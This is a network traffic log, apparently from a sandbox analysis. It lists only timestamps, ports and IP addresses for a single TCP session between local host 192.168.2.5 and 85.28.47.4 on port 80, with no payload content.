Jun 28, 2024 13:36:07.241987944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.242043972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.244374037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244391918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244401932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244434118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.244466066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.244487047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244497061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244505882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244515896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244525909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244539022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.244558096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.244560957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244571924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244580984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244597912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.244633913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.244656086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244693995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244704008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244705915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.244714022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.244734049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.244761944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.330487967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330511093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330522060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330532074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330543041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330553055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330564976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330589056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330598116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330607891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330650091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.330724001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.330737114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330746889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330755949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330765963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330775976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330785990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330787897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.330796003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330806971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330811977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.330842018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.330856085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.330861092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.330894947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331054926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331065893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331073999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331084013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331093073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331108093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331110001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331118107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331127882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331137896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331147909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331157923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331167936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331168890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331168890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331177950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331187963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331192970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331197977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331208944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331214905 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331238031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331258059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331408024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331418037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331429005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331439018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331449032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331474066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331505060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331547022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331557035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331568003 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331578970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331595898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331613064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331615925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331624985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331634045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331644058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331654072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331664085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331670046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331691980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331717968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331887007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331897974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331913948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331929922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331939936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331943989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331948996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331959009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331969023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331979036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331988096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.331988096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.331999063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332007885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332039118 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332201958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332211971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332226992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332242966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332252026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332254887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332262993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332273960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332283974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332290888 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332293987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332309961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332318068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332324028 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332328081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332340002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332355976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332403898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332506895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332515955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332525969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332540035 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332550049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332560062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332561970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332570076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332580090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332580090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332590103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332601070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332601070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332638979 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332645893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332657099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332658052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332667112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332676888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332686901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332691908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332696915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332706928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332710981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332716942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332727909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332737923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332747936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332753897 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332763910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332765102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332773924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.332786083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332807064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.332844973 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.334647894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.334657907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.334669113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.334706068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.334737062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.334784985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.334795952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.334805965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.334816933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.334834099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.334863901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.334989071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.335000038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.335011005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.335030079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.335040092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.335041046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.335051060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.335062027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.335071087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.335073948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.335095882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.335129976 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.420625925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420655966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420666933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420676947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420687914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420697927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420747995 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.420790911 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.420795918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420806885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420818090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420829058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420839071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420839071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.420849085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.420872927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.420917988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421015978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421025991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421036005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421058893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421066999 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421075106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421086073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421091080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421094894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421127081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421139956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421150923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421159983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421161890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421169996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421194077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421224117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421274900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421283960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421293020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421303034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421313047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421323061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421324015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421331882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421343088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421353102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421365023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421402931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421452999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421463013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421473980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421503067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421528101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421536922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421547890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421557903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421588898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421616077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421667099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421678066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421686888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421699047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421709061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421715021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421720028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421730995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421750069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421777964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421782970 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.421832085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.421994925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422004938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422014952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422024965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422034025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422043085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422046900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422054052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422065020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422074080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422084093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422092915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422101021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422101021 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422103882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422113895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422125101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422125101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422136068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422148943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422169924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422336102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422347069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422355890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422365904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422377110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422386885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422388077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422396898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422405958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422408104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422441006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422466040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422480106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422491074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422528982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422574043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422585011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422595024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422605038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422615051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422626019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422657967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422657967 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422703981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422713995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422724962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422734976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422744989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422751904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422790051 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422872066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422882080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422894001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422904968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422913074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422914982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422925949 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422935009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422945023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422950983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422952890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422964096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422974110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422982931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.422990084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.422995090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.423005104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.423010111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.423031092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.423054934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:07.423475981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.423485994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.423501015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.423510075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.423520088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:07.423520088 CEST	49705	80	192.168.2.5	85.28.47.4
